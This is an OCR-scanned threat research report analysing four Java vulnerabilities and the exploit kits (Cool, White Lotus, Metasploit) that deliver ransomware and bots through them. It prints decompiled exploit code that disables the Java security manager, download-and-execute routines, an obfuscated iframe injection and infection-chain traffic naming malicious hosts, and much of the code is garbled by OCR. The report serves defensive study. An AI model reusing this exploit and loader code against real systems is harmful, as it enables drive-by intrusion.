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Introduction

Javais widely used by developers—so much so that many applications and websites do not
run properly without Java installed in users’ systems. This widespread adoption makes the
near-universal platform fertile ground for cybercriminals. Exploit kits have pounced on
Java vulnerabilities with virtually every major discovery.

Forget exploiting simple browser and client-side application flaws to distribute pay-per-
install spyware. Today's exploit kits are smarter, abusing legitimate Web components and
infrastructure to selectively deliver the right exploits to the right targets. That is why Java
exploits have become the vehicle of choice for quickly dispersing lucrative crimeware
packages to a wide pool of targets.

This report examines the technical details of the four most commonly exploited Java
vulnerabilities. In addition to describing the inner workings of each vulnerability, this
report outlines each step of the infection flow of in-the-wild exploit kits that target them.

Figure 1: Vulnerabilities,
by frequency of exploit
B FE-CVE-2012-4681

B FE-CVE-2013-2471

B FE-CVE-2013-2465
Metasploit

I FE-CVE-2013-2423

Unknown

Exploitation Activity

Figure 1 shows the detection prevalence of CVEs
exploited in the wild. Judging from the frequency
of exploited vulnerabilities, Java Runtime
Environment (JRE 7) appears to be the most
frequently exploited platform.

)
2 www.fireeye.com @ FireEye


http://www.fireeye.com

Brewing Up Trouble: Analyzing Four Widely Exploited Java Vulnerabilities

Technical Details

The following sections explain the technical
details of the four most commonly exploited
vulnerabilities, including exploit kits that leverage
these weaknesses:

CVE-2013-2471

CVE-2013-2465

CVE-2013-2423

CVE-2012-4681

Figure 2: Vulnerable Java code
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CVE-2013-2471

Java provides several functions to create and
manipulate raster objects. A raster object can be
created by calling the CreateWritableRaster
method of the Raster class. It uses the

following prototype:

Public static WritableRaster
createWritableRaster (SampleModel s,
DataBuffer buf, Point location)

The return object depends on the SampleModel
class. The SampleModel class defines an interface
for extracting pixels from an image. When creating
araster object, Java calls a function verify() of the
integerComponentRaster class to validate the
input data. Internally, the verify() function uses
getNumDataElements() method of the
SampleModel class to validate the data (see
Figure 2).

Overriding the getNumDataElements method
and returning O allows an attacker to bypass the
checks in the above loop and create malicious
raster objects. The unvalidated raster objects can
be passed to the compose() method of
AlphaCompositeClass so that the compose()
method calls the native function blit.blit(), which
could corrupt memory, depending on the

input parameters.

for (int i1 = 0; i < numDataElements; i++)
if (dataOffsets[i] > (Integer.MRX VALUE - lastPixelOffset)) {

throw new RasterFormatException("Incorrect band offset: "+ dataOffsets[il);
The numDataElements wvariable is coming from the Raster class (Raster.Java).
numDataElements = sampleModel.getNumDataElements () ;

{
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Analysis After exploiting the vulnerability, the code disables
Figure 3 shows the decompiled code of a malware the Java security manager and downloads the
sample in the wild that exploits CVE-2013-2471. malicious executable file (see Figure 5).

The code first overrides the
getNumDataElements method to bypass the
verify() method. Then as shown in Figure 4, it calls
the compose() method, leading to the memory.

Figure 3: Malware overrides }
the getNumDataElements
method to bypass the

verify() method public static fimal Object s() {

return new Statement(System.class, s2, new Object[1]);
}

// override getNumDataElements to bypass verify() method checks
public int getNumDataElements() {

return @;
Figure 4: Malware calling bup .
POP[4) = is_7_;
the compose() method of J/ call compose method of AlphaComposite clasg
the AIphaCompositeCIass object_9_ = ((java.lang.reflect.Constructor) POP).newInstance(POP);

Object object_11_ = cfn("mdydldzwllpdjhlUdvwhu").getMetheod x (" fuhdwhZulwdeohUdwwhu"), new Class[] { cfn("mdydldzwllpdjhivd
AlphaComposite alphacomposite = AlphaCemposite.Sre;

Object object_12_ = alphacomposite.getClass().getMethod (x(" fuhdwhFrawh{w"), new Class[] { cfn("mdydldzwllpdjhlFroruPrgho™)
Class var_class = cfn("mdyd1dzwllpdjhilUdwwhu" ) ;

cfn("mdydldzwlFrps rvlwhFrawh{w").getMethod (x("frpsrvh"), new Class[] { var_class, var_class, cfn("mdydldzwllpdjhlZulwdeohlq
int i = is.length;

class

- . ; Object object_2_ = SM.sl();
Flgurg 5: Ma!ware elevating Sbfectilal © et 3
security privileges /{ create local protection domain (elevate privilege) and disable security manager
PermissionCollection permissioncollection = (PermissionCollection) cfn("mdydivhfxulw|iShuplvwlrgv").getConstructor(new
permissioncollection.add((Permission) cfn("mdydivhfxulw|1DooShuplvvlrg").getConstructor(new Class[@]).newInstance(new
Object object_3_ = cfni"mdyd1ghwlXU0").getConstructorinew Class[] { String.class }).newInstance(new Object[] { x{"iloh
Object object_4_ = cfn("mdydlvhfxulw|1FrghV¥rxufh").getConstructor(new Class(] { object_3_.getClass(), java.security.ce
Object object_5_ = cfn{"mdydlvhfxulw|15urwhfwlrgGrpdly”).getConstructorinew Class[] { cfnl"mdydlvhfaxulw|1FrghVrxufh”),
objects[3] = new AccessControlContext(new ProtectionDomain[] { (ProtectionDomain) object_5_ });

objects[4] = object_2_.getClass(),getMethod(x("jhwWduihw"), new Class[@]).invokelobject_2_, new Object(e]);
Object object_6_ = cfnl"mdydidzwllpdjhiGdwdExiihuLqw").getConstructor(new Class(] { Integer.TYPE }).newInstance(new Ob
object_6_.getClass().getMethod (x("vhwHohp"), new Class[] { Integer.TYPE, Integer.TYPE }).invoke(object_6_, new Object|
ColorModel colormodel = ColorModel.getRGBdefault();
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Figure 6: Infection
chain, from landing
page to Java exploit

5 www.fireeye.com

Exploitation in the wild

CVE-2013-2471 is often exploited in drive-by
download attacks to deliver ransomware. These
attacks typically employ off-the-shelf exploit kits,
including Cool. Developed by the malware author
who created the popular Blackhole exploit Kit,
Cool in its heyday commanded some of the
highest prices on the malware market—licenses
went for as much as $10,000 a month.! Along with
several browser, PDF, and Windows
vulnerabilities, Cool exploited the following Java
vulnerabilities, some of which were zeroday
vulnerabilities at the time they were integrated:

¢ CVE-2012-0507
e CVE-2012-4681
e CVE-2013-0422

¢ CVE-2013-0431

¢ CVE-2013-1493
e CVE-2013-2471

Figure 6 demonstrates a Cool-based malware
infection chain that exploits CVE-2013-2471.

After loading the landing page, the browser is
directed through the infection chain, starting with
a plugin detection script. Plugin detection scripts
normally consist of benign server-side code that
checks for the presence of various browser
plugins (such as Flash and Java) and determines
their version number to tailor content to

the viewer.

In the same way, exploit kits use the results of the
plugin detection routine to tailor exploits to the
target. Many vulnerabilities apply to specific
versions of Java, so the success of an attack can
hinge on delivering the right exploit.

Accept-Language: en-us
UA-CPU: xBE
Accept-Encoding: gzip, deflate

Host ; dddfdu,netinghudds.org
Connection: Keep-Alive

GET /paper/sterling-tropical-legally.js l“‘"‘ o

GET /paper/formidable_hat.html HTTP/1.1
Accept: image/gif, image/x-xbitmap., imagefipeg, image/p]peq, oYY bt

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1:

Stage 1: 1 i Page

-NET CLR 1.1.4322; .NET CLR 2.0.50727)

Accept: */%

Accept-Language: en-us
UA-CPU: xB6
Accept-Encoding: gzip, deflate

Connection: Keep-Alive
Host : dddfdu.netinghudds.org

GET /favicon.ice HTTP/1.1
Accept: */%

UA-CPU: xBS

Accept-Encoding: gzip. deflate

Hest : dddfdu.netinghudds.org
Connection: Keep-Alive

GET /paper/distinct-town-tolerant-goalkeeper.j arFEu 1

Referer: http://dddfdu.netinghudds.org/paper/formidable_hat . html

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;

Stage 2: PluginDetect Script

.NET CLR 1.1.4322; .NET CLR 2.0.50727)

mccept-encoding: pack200-gzip, gzip
content-type: application/x-java-archive
User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_17

Host: dddfdu.netinghudds.org

Accept: text/html, image/gif, image/jpeg. *: g=.2, */¥; g=.2
Connection: keep-alive

Stage 3: Jar exploit
CVE-2013-2471

1 Robert Westervelt (CRN). “Microsoft: Don't Be Fooled By The Cool Exploit Kit" May 2013..
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The version of Java is determined by loading the
Java Deployment Toolkit, as shown in Figure 7.
The globally unique identifiers (GUIDs) are visible

After identifying the Java version number, the
browser downloads a jar file containing CVE-
2013-2471 exploit (see Figure 8).

in the plugin detect JavaScript file.

Figure 7: A segment of
plugin detect code that
checks which Java version
is installed

Figure 8: Code to download
a .jar file containing the
CVE-2013-2471 exploit

6 www.fireeye.com

b.lang.System.getProperty()(0]){b.installed=g7-0,2;-1}iflb,OTF==3&&b.installed!=-0,5&&b installed!
=0,5){b.1nstalled=(b.NOTF.isJavaActive(1l)==1||b.lang.System.getProperty()[0])?0.5:-0.5}1F(b.OTF==4&
(b.installed==-0.5||b.installed==0.5) ) {if(d) {b.installed=1}else{if(c){b.installed=c>070.7:-0.1}else
H{if(b,NOTF.1sJavaActivell)==1){if(g){b.installed=1;d=g}else{b, installed=0}}else{if(g)
{b.installed=-0.2}else{b.installed=-1}}}}}if(q) {b.versiond=e.formatNum(e.getNum(g))}if(d&&!c)
Hb.version=e,formatNum(e.getNum(d) ) }if(i&k&e.isStringli)){b.vendor=1}if( b .vendor){b vendor=""3}1if
(b,verify&&h verify, 1sEnabledl)){b,vvvDone= G}e'Lse{:Lf(b vyvDone!=1){if(b,OTF=<2){b,vvvDone=0}else
Hb. vaone-b applet can Insert Query A e, cadebase emp'terarbage! )}, DTK:

11k atus: . null,classID:

I m - v ¥ nprunt:l.me scriptable-
plugin; DeploynentToclklt" e var a-thls b=a.%: 1‘f(|b DOM. 1sEnabled.objectTagl) ||
(b,1sIE&EDL.verIE<E) | |(b. lsGecko&&b.compareNums[h verGecko,b. formatNum( "1.6") ) <=0) ||
(b.isSafaribéb,05==1&&( 'b.verSafari||b.compareNums( b.\rerSafari. "5,1,0,0")=0)) | |b.isChrome) {return 1}
return O}, query:function(){var l=this,h=1.%,f=1.$%,k,m,1,a=h.DOM altHTML,g=1{}.b,d=null,j=null,c=
(1.hasRun| |1 .1sDisabled()) ;1 hasRun=1;if(c){return 1}l status=0;1f(h.1sIE){for
(m=0;m=<l.classID.length;m++){l.HTML=h.DOM .insert("object",["classid",l.classID[m]],
[1.,a);d=1.HTML.obj():if(h.getPROP(d,"jvms") ) {break}}}else{i=h. hasMineType(l.mimeType) :if(i&&i. type)
Hl .HTML=h.DOM.1nsert("object", [ "type",i.typel,[],a) ;d=1 .HTML obj () }}1f(d) {try{b=h.getPROP
(d,"jvms");if(b){j=b.getLength(];1f(h.isMum(j)) {1 .status=j=071:-1;for(m=0;m=j ;m++){i=h . getNum(b.get
(j-1-m).version) ;if(1){l.VERSIONS.push(i) gl "a"+h.formatNum(i)]=1}}}}}catchik){}}i=0;for(m in g){i+
HIif(1&811==1, VERSIONS length) {1, VERSIONS=[]}if(1.VERSIONS.length){l.version=h.formatNum(1.VERSIONS
[@])};return 1}}, navMime:

ET fpaper/distinct-town-tolerant -goalkeeper.jar HTTF/1.1
accept -encoding: pack200-gzip, gzip

content-type; application/x-java-archive

User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/l1.6.0_17
Host: dddfdu.netinghudds.org
Accept: text/html, image/gif,
Connection: keep-alive

CVE-2013-2471

image/jpeg, *; g=.2, */¥; g=.2

HTTPf1.1 200 0K

! nginx/1.0.15
: Mon, 09 Sep 2013 03:23:40 GMT

: application/java-archive
: keep-alive

M-Powered-By: PHP/5.3.27
Content-Length:
ETag: "55841c524488b4ebOede93e98368e2a3"
Mon, 09 Sep 2013 05:23:58 GMT
bytes

Last -Modified:
Accept -Ranges:
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The decompiled .jar file reveals the vulnerable One unique characteristic of this .jar file from the

getNumDataElements method, as shown Cool exploit kit is the presence of an embedded

in Figure 9. executable (shown near the bottom of Figure 10).
Figure 9: The vulnerable || pfagw.class a5

Java method package wirgfstrviewtlg;

getNumDataElements

@

appears within the import javao.owt.image.SinglePixelPackedSampleModel ;

downloaded .jar code ) .
class pfagw extends SinglePixelPackedSampleModel

{
public pfagw(int paramIntl, int paramInt2, int paramInt3, int paramInt4, int[] paramArrayOfInt)
{
9 super(paramIntl, paramInt2, paramInt3, paramlnt4, paramArrayOfInt);
}
public int GRENINDGRGBUSHERES O
{
14 int 1 = 0;
1§ return 1i;
¥
¥

Figlre 10: Contentsiaf | E5tinct—lown—tnlerant—goalkeeFer.jar & |

v B} wirgfstrvkawwtig

Addoo

Addoo2

Tt

buslctvhfuryr

ekegauvfvcglbt

@ gvcjmhuabewgvmujaekhcedh

jfdhrdvduvrefldtcrrdf

mawwdeel

mmwbu

[J] pfagw ‘_ contains the "getNumDataElements” method.
pyscedwc

[¥] qeajcusrdwincdbwbdc

14 qiutgmghtuypfilmdspdbj

[¥] sghwrgsyglemtgpacidkmuvhbl

[¥] vbwgteemwnt Ransomeware executable

the .jar file exploiting
CVE-2013-2471

YYYYYYYVYYYYYYYYY

vCsemrgum
[ eacc41fleb26f57b227a79b987a41991.deb

)
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CVE-2013-2465

Classes defined in the Abstract Window Toolkit
handle various operations on images. They include
the following:

e Images.java.awt.images. LookupOp
¢ ConvolveOP

¢ RescaleOP

o AffineTransformOp

These classes expose the method filter(), defined
as follows:

Public final BufferedImage filter
(BufferedImage src, BufferedImage
dst)

Figure 11: Malicious code calling the vulnerable

BufferedImage subclass

This call is passed to the native function that
performs filtering operations. The function parses
the src and dst values of the BufferedImage
subclass, populating the hint object (hintP-
>dataOffset hint- >numChans) attached to each
of them with values contained in the ColorModel
and SampleModel members of the BufferedImage
objects. Because no bound check occurs while
copying the data, the vulnerable code assumes
that the hints values of the images are consistent
with their corresponding rasters. If malicious code
overrides the hint Objects values, the copying
code writes more data to the output buffer,
corrupting heap memory.

Analysis
As shown in Figure 11 the malware code calls
Bufferedimage with class b() as a parameter

{

H

boolean bool = &.87

public static void 2(DarsBufferByre parauDataBuffsrByre)

BufferedImage localBufferedImage = s.a2():
MoltiPixelPackedSemplafodel localMultiPixelPackedSamplefodel = g.b():

a[localBufferedInage) :
AefineTransfornlp localhffineTrensforulp = mew AffineTransformOpimew AffinsTreansform(l.0F, 0.0F, 0.0F, L.0F, 0.0F, 0.0F), mull);
localAffineTranaforndp, fileer|localBufferedinege, new Bufferedimege (mew B(), Rester,createlfritablelaster(localMultiPivelPackedSanpledodel, parswbatabufferBy

if (bool)

l
imt 1 = guay
Tdbs
a2 = 13

I

8 www.fireeye.com
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Figure 12: The flow of
vulnerable parameters
in the malware code

Figure 13:
Malicious code
elevating
permissions

Figure 14:
Dowloading the
malware payload

9 www.fireeye.com

The class b() shown in Figure 12 then makes a call Once the vulnerability is exploited, permission is

to the class a() by using the super function. The set to all permission, as shown in Figure 13.
super function, in turn, overloads

getNumComponents(), exploiting the vulnerability Then the malicious code downloads the malware

payload, as shown in Figure 14.

Himport java.awt.image.ComponencColorModel;
mblic class a

public class b extends ICC_ColorSpace

extends ComponentfolorModel
{

ublic a

public b() 1: 0
l

super (new a(), new int[] { &, 8, & }, false, false, 1, 0); ; swper (g.2());
)
public boolean isCompatibleRascer(Raster parsaRascer) public int getHumComponents()
( {

return true; return 1:

'

public static Permissions bi)

{
Permizzions localPermizzions = new Permissions():
localPernissions.add(new &llPermizsioni)):
return localPermissions:

int i = £.2;

Gtring str = TRLEncoder.encode{z[3], =z[1]) + "=" + UTRLEncoder.encods|(paramftringl, =z[1]):

atr = atr + "&" + URLEncoder.encode({=z[2], =[1]}] + "=" + URLEncoder.encode(paranitringz, =[1]):

atr = atr + "&" + URLEncoder.encode|z[4], =[1l]}] + "=" % UBRLEncoder.encode|Systen. gatProparéy(z[0]1, =[L1]):
REL localUBL = new URL{paranString3):

TELConmection localURLConnection = locallURL.openConnection():

localURLConnection. setlolutput (true) ;

(utputitreawllriter locallutputitreamlriter = new (utputitreamlriter(localURLConnection.getOutputiccean()):
localOutputitreamilritecr. write (str);

localtutputitreaniiricer, £lushi);

Localiutputitreaniiricer. clogel) s

Inputdtrean locallnpurStrean = localURLComnsction. getinputdtresany);

locallnputStrean.close(];

if (i '= Iy

)
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CVE-2013-2465 in the wild

Like CVE-2013-2471, the CVE-2013-2465
vulnerability is proliferating via exploit kits, in this
case, White Lotus. This relatively new exploit kit
delivers crimeware in drive-by download attacks.

An example infection chain includes a plugin
detection routine and a .jar file disguised as a
portable network graphics (.png) file, as shown in
Figure 15.

When the target visits a compromised website, an
iframe loads in the background (see Figure 16).
The iframe starts a plugin detection routine and—
apparently to confuse targets—loads dozens of
images from an unrelated shopping website (see
Figure 17).

D.Port| Destination IPmmml ]Info

80 163.157.3.235
80 183.197.2.245
80 163.197.2.245

CET http://109.163.233.115/ HTTR/1.1
CET hitp://109.163.233. 115/ favicon,
Ble . jquery. con/jquery-1.8.3.86n. 38 HTTP/1.1

Figure 15: White

HTTR
HTTP.

Plugin Detect scripts

Lotus infection 89 183.197.2.245

80 183.197.2.245

CET http://ssssy-fanclub. ne-ip biz/7

y ipuhi 2805

"
PRaquest
GET http://ssssy-fanclub. ne-ip. biz/TITFR

80 183.197.2.245
80 183.197.2.245
B0 163.197.2. 245
B0 163.197.2.245

chain exploiting
CVE-2013-2465

GET http://ssssy-fanclub, ne-ip.biz/p
GET http://ssssy-fanclub. no-ip. biz/ P reSyYnss

13383

SEOTSGOTO .
Tag.is HITS/1.1 Java Exploit
CVE-2013-2471
TOGOT
Malware binary
JesaITL wr

Figure 16: An iframe TP/ 200 o
Pate: Tue, 26 Mov 2008 23:16:14 GHT

Berver: Apache/2.2.22 (Debian)

ast-Medified: Tue. 26 Mov 2013 17:56:23 GMT
i “32Bld50-12b7h-declBFd4TI 0"

fccept -Ranges: bytes

Vary: Accept-Encoding

Centent-Enceding: gzip

Eenit ent -Length: 19058

fontent-Type: text/htal

-Cache: MISS from lecal host

- Cache-Logkup: MISS from local hast :80

Mia: 1.0 localhest (squid/3.1.19)
Eonnection: keep-alive

loading in the
background

| DOCTY!
Ehtal malas=\ hitp: /i, w3 ora/L990/ zhtal "=
Eheads

PE html PUBLIC \"-//W3C//DTD XHTHML 1.0 Transitionnl//ENL" \“hEtp:/ fvew w3, org/TR/xhtel 1/0TD/ aht el 1-t ransit donal . dtdy "=

kbody

rame srce"http://sissy-fanclub.no-ip.biz/?
mem

GOTSCOT e GOT 7G0T SC0T!

ene:” names 11 framebard

Fscript types“text/javascript®=</script=
kscript types “text/javascript®>

mmimmumqummm:mrdmﬂmmmmmmmﬂm
="0" align=sus marginheight="0p:" margirwddths"0o

style="border: Opx FFPFR

== hody=

Figure 17: Plugin 1

Detection routine

.getVersion(".");

checking for versions P'l.uglnDe‘tec‘t .getVersion( "Java",

of various plugins

T3GDTbGDT1GDTEGDT fGDT7GDTL" + “; "
document .location.href = path:

+ replaceIt(version);

/js/c4blBdS87eec4e923367Tbe8788608T0, png") + ;" +
+ PluginDetect.getVersion("Flash") + ";" +

var path = window.location.pathname + "?1TFFKzCHjdfooZNbJVbs=" +
" cGDTOGDTdGDTOGDThGOTAGOT e GDT 7GDTOGITSGOTOGDT 1GDT 2GDTOGOT d GDT4GDTh GDTOGDT e GOTd GDT1GOTS8GOTSCOT 8GOTEGD
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Figure 18: Malicious
jar file disguised as a .
png downloaded onto
target system

Figure 19: Decompiled
CVE-2013-2465 jar file
showing vulnerable
getNumComponents
method

11 www.fireeye.com

Once the code determines what version of Java When analyzed, the .jar file reveals a call to the
the target is running, the exploit is delivered. The vulnerable getNumComponents method, as
exploit is disguised as a .png file to evade visual shown in Figure 19.

detection, as shown in Figure 18.

GET http:/f_ o no-:i.p.biz!pic!Chicago.png‘IE{_l.l

accept-encoding: pack200-gzip. gzip CVE-2013-2465
content-type: application/x-java-archive

User-Agent: Mozilla/4.0 (Windews 7 6.1) Java/l.7.0

Host: __ - .no-ip.biz

Accept: text/html, image/gif, image/jpeg, *; g=.2, */%; gq=.2

Proxy-Connection: keep-alive

HTTP/1.0 200 OK

Date: Tue, 26 Nov 2013 22:23:31 GMT

Server: Apache/2.2.22 (Debian)

Last-Modified: Sun, 17 Nov 2013 00:44;24 GMT

ETag: "8053c-124b-4ebS4bbaG48de"

Accept -Ranges: bytes

Content-Length: 4683

Content -Type: image/png

X-Cache: MISS from localhost

¥-Cache-Lookup: MISS from localhost:80

Via: 1.0 localhest (squid/3.1.19)

Connection: keep-alive N

PK. Al B0 0000000000 aEE T ad kb o a oitsononaocoooa ool oo o ekl e oo
~@.T..e@.qg.....f..

ol Thooooocdoo Llibbocoo cEaaEh otlaUe o ocalosoorooocoocldoalPc=o0s0_onooooEtholhooa
k& .. L umw..9. . %...(..p.7......0..:...'Dg............BH..5Z+..C........
H....PR..)Me o AL PR L BRLE s eeineaeaa B ELasSSTOMOL B V® ML e e o T
B I..../.W. .*Gq..;.f&. . . k....s...5.g......#D.#§. . .4+ Wi u_.B....C=.....a0..]
BHpanann jg.....t5...L....T2,

.0.Y3,

I S

Chicago.png_.jar 3

> 1) main bclass
> a PR .
- : |-+-i1mp0rt java.awt.color.ICC_ColorSpace;
{ |
v @b | |final class b extends ICC_ColorSpace
@ b{Main) I3
| |
IRV SR | | pusic bCtain poranteind
P Dc | i
| super(ICC_Profile. getInstance(100@));
| | 3
|
| | public final int getNumComponents()
d {
| return 1;
}

i}

)
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Figure 20: Call to the
vulnerable findMethod
function

Figure 21: Privilege-
elevating code
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CVE-2012-4681

The vulnerability exists in the findMethod method
of the com.sun.beans.finder.MethodFinder class.
Due to the insufficient permission checks, the
immediate caller on the stack is com.sun.bean.
MethodFinder, which is trusted, bypassing the
security check in getMethods. By exploiting the
vulnerability, an attacker can get a method object
for a method defined in restricted packages such
as sun.awt.SUN.Toolkit.

Analysis

Malware exploiting CVE-2012-4681 first calls the
vulnerable findMethod function, as shown in
Figure 20.

Then the malware creates the local protection
domain to elevate its privilege and disables the
security manager, as shown in Figure 21.

// exploit vulnerability.|
Object[] arrayOfObject = new Object[2];
array0fObject (8] = paramClass;
array0fObject [1] = paramString;

localExpression.execute();

private void SetField(Class paramClass, String paramString, Object paramObjectl, Object paramObject2) throws Throwable {

Expression localExpression = new Expression{this.GetClass("sun.awt.SunToolkit"}), "getField", array0OfObject);

{(Field) localExpression.getValue()).set{paramObjectl, paramObject2);

public void disableSecurity() throws Throwable {

Permissions localPermissions = new Permissions();
localPermissions.add(new AllPermission());

localStatement.execute();

/f create local protection domain (elevate privilege) and disable security manager
Statement localStatement = new Statement(System.class, "setSecurityManager", new Object([1]);

ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificat
AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain(] { localProtecti
this.SetField(Statement.class, "acc", localStatement, localAccessControlContext);

)
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Fromthere, the code downloads the malicious

payload and executes it, as seenin Figure 22.

CVE-2012-4681 in the wild

A high volume of drive-by attacks have exploited

them with a password-stealing IRC bot. The
exploit is also part of the Metasploit framework;
attackers have weaponized it to distribute a
Trojan known as Dorkbot that also has worm
capabilities. As shown in Figure 23, the infection
chainis short and results in a flood of HTTP

this vulnerability, using compromised websites to
first serve visitors the malicious .jar, then infect

Figure 22: Code downloading
the malicious payload and
executing it

Figure 23: Infection chain from
initial page to jar file download,
followed by malware callbacks

13 www.fireeye.com

requests from infected systems.

public static void downFile(String paramStringl, String paramString2) {
ff download file from internet
try {

FileQutputStream localFileQutputStream = new FileOutputStream(paramStringl);
URL localURL = new URL(paramString2);
String comnayi = "xx";
URLConnection localURLConnection = loacalURL.openConnection();
int i = localURLConnection.getContentLength();
InputStream locallnputStream = localURLConnection.getInputStream();
BufferedInputStream localBufferedInputStream = new BufferedInputStream{locallnpu
bytel] arrayOfByte = new bytelil];

public static Process exec(5tring paramString) {
// execute binary

Process localProcess = null;
label_4:

i

label_3:
{

try {
localProcess = Runtime.getRuntime().exec({paramString};
if (localProcess != null)
I empty =/

¥
} catch (Exception PUSH) {
break label_3;

try {
lecalProcess.waitFar();
break label_4;

} catch (Exception PUSH) {
/% empty =/

}

}
Object object = POP;

return localProcess;

}
21 192,168.222.129 80 208.109,181.105 HTIP GET /favicon.ico HTTP/1.1
127 192.168.222.129 80 208.109.181.105 HTTP GET /Exploit.jar HTTR/1.1
200 192,168,222.129 80 63,.197,137,58 HTTP GET / HTTP/1.1
207 192,168.222.129 80 69.157,137.58 HTTP GET / HTTR/1.1
212 192,168.222.129 80 69.157,137.58 HTTP GET / HTTP/1.1
217 192,168.222.129 80 69.197,137.58 HTTP GET ¢ HTTP/L.1
224 192,168.222.129 80 69.197,137.58 HTTP GET / HTTP/1.1
2259 192,168,222.129 80 63.197,137,58 HTTP GET / HTTP/1.1
236 192,168.222.129 80 69.157,137.58 HTTP GET / HTTR/1.1
242 192,168.222.129 80 69.1597,137.58 HTTP GET / HTTP/1.1
247 192,168.222.129 80 69.157,137.58 HTTP GET / HTTP/l.1
252 192,168.222.129 80 69.197,137.58 HTTP GET / HTTP/1.1
957 1Q2 1RR 797 174 AN AQ 107 137 &R HTTR T 4 HTTRA
- g

I Frame 193: 120 bytes on wire (960 bits), 120 bytes captured (960 bits)

I» Ethernet II, Src: 00:0c:29:a2:55:53 (00:0c:29:22:55:53), Dst: 00:50:56:f7:11:d0 (00:50:56:f7:fl:d0)

P Internet Protocol Version 4, Src: 192,168,222,129 (192.168,222,129), Dst: 69.197,137.58 (69.197.137.58)
> Transmission Control Protocel, Src Port: 1047 (1047), Dst Port: BO (80), Seq: 1, Ack: 1, Len: &8

I+ [Expert Info (Chat/Sequence): GET / HTTR/1.1vr\n]
Request Method: GET
Request URI: /
Request Wersion: HTTP/1.1

Host: api.wipmania.com\rin

)
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For users running a vulnerable version of Java, The obfuscated script on the site instructs the
merely visiting a site hosting the malicious .jar file browser to load the malicious Exploit.jar file, as
is enough to become infected. shown in Figure 25.

Here the system is using Java 7 update 2.

] o GET / HTTR/1.1
Figure 24: HTTP code Accept: image/gif, image/x-xbitmap, image/jpeg., image/pjpeg. application/x-shockwave-flash, */%

of compromised site Accept-Language: en-us

UA-CPU: x86
Y - - Accept-Encoding: gzip, deflate
epr0|t|ng CVE-2012 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT S5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
4681 Host ! www.vt-zerso.com

Connection: Keep-Alive

HTTR/1.1 200 OK

Date: Wed, 08 Jan 2014 03:12:13 GMT
Server: Apache|

Accept-Ranges: bytes

Content -Length: 4126

Keep-Alive: timeout=15, nax=100
Connection: Keep-Alive

Content -Type: text/html

=html=<head>=/head><body==script= A2679789] = "=@i@Efr@a@n@e@@ @@wEidth=0@ @he@i@g@Eh@EEt@E=RA0ARAA
B@sE@r@c=EheEt @2t @@pE: @!@@3@59@1 211¢@. @119@ @@5@@7@f@‘f@55@!@@9@90§ php 7@s@1@d AA=-AE20RR=-0</
1frRa@@n@fe@@=-2" ; B ") function gdi) { return
“document ® "11:e"] 11 A26797891) ; =/
scripts his"1" height="1"=</applet=</bodys=</html>

KCA=! - - [ 6f622805cf) - -== i svar VeQM;vwar xBQdHr;var bZDep='yRgl';if

| 'xs¥L'=="XEBK] ') oHdBFL="0vfAIR' ; function 'LHchhr{]{hfl XTTX'=="bj1V' 1gXYO() ;var eXpcWQX="\x66ro\x6d
‘x43harCode” ;var PiaPr;var zPKoP=162;var px0_var="Opx";var tDLo='noeX';var hZkmb="pa\x72seIn\x74";var
MOwN=279; var appVersion_var="a\x70\x70Version";var GfrLcVivar mMyDLv=268;var olJyWtFC="bo\x64\x75";var
MzkStJ;var LORx='YvZrr';var EIpRgmLbl="ap\x70e\x6edC\x68ild";var aQdP=245; function LBEXN(){var

njghS='0Zkm" ;if( 'Feourr '=="RXwRp' J0XzNS():} var jHgyFfTIns="";var CITP=287;function USekl){var KLTDp='kMPj";if
| 'uyHd] '=="'zmbW" Jkngsi )} var LlghgVUs"s1\x694x63\x65" ;var sxCwiC=298;if| 'ehayhP'=="'Jwknz'|gpSDUc() :function
ckzmT(){} var MIYHu="c\x&6fnstruc\x74or";var JzNKjt:var pxl_var="1\x70x";function lcrz(){}var

CovEl='MIoKN' ivar

Figure 25: Malicious GET /Exploit jar HTTP/1,1
. . accept-encoding: pack200-gzip, gzip
CVE-2012-4681 jar file  kontent-type: application/x-java-archive
Wser-Agent: Mozilla/4.0 (Windows XP 5.1) Java/l1.7.0_02
Host: www.vt-zero.com
Bccept: text/html, image/gif. image/jpeg., *;: g=.2, */*; g=.2
Connection: keep-alive

being downloaded

HTTP/1.1 200 OK

PDate: Wed, 08 Jan 2014 03:12:15 GMT

Server: Apache

Last-Modified: Thu, 29 Nov 2012 19:46:06 GMT
ETag: "33125a5-c380-4cfa788a75b60"
Accept-Ranges: bytes

Content -Length: 50048

Keep-Alive: timeout=15, max=98

Connection: Keep-Alive

Content-Type: text/plain

PK. oeen L T metasploit/PK......... VoALLBL L L JN metasploit /
F'ar'Load class.¥.|......cf'C,....Q.....a,5, \.......I
[ -+ P ]+ P P AL TR T oy..{...T.3.hE.PH.R. 6t
+.B....l|'BI...>..e.}
...E
b .'$ S 4 BCQS.‘:]SY .. .n.r's..30 ......... =B8], .2, ...
2 2\I' *n e¢F < WO oo daaoooa H.T. ar-h r\l. e, €-0,T. . WgsS. ., . 0z\. . x
..&S \'P‘I The<U.F..|.. -0V, 0... C& z ?...40 ....0 M2, I..:'..n..,.
.0.a.#.
I..N..' ...... d..x6 .M..... +..%.(....0 HT...7.7%=z.7.2n.g....q" . ...¥Y....|./. .B./..52~", . e...%

)
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Figure 26: Contents of
the weaponized .jar
file exploiting
CVE-2012-4681

Figure 27: Malware
code exploiting
CVE-2013-2423

15 www.fireeye.com

Attackers are quick to leverage publicly disclosed final, returning a MethodHandle of a setter
Javavulnerabilities. This exploit is one of the most method for a static final field. That lack of
commonly detected in the wild, enhanced by the validation, in turn, permits malicious code to
payload’s knack for spreading. modify the static field to create type confusion

CVE-2013-2423

and disable the Java security manager.

The vulnerability stems from insufficient Analysis
validation in the findStaticSetter() method. The As shown in Figure 27, the findStaticSetter
method fails to validate whether a static field is method is used to get the MethodHandle.
Exploitjar
> Ia;‘META-IM' Exploit.class Q.
fz‘;::‘:_'l‘:;“ #[import java.applet.Applet;
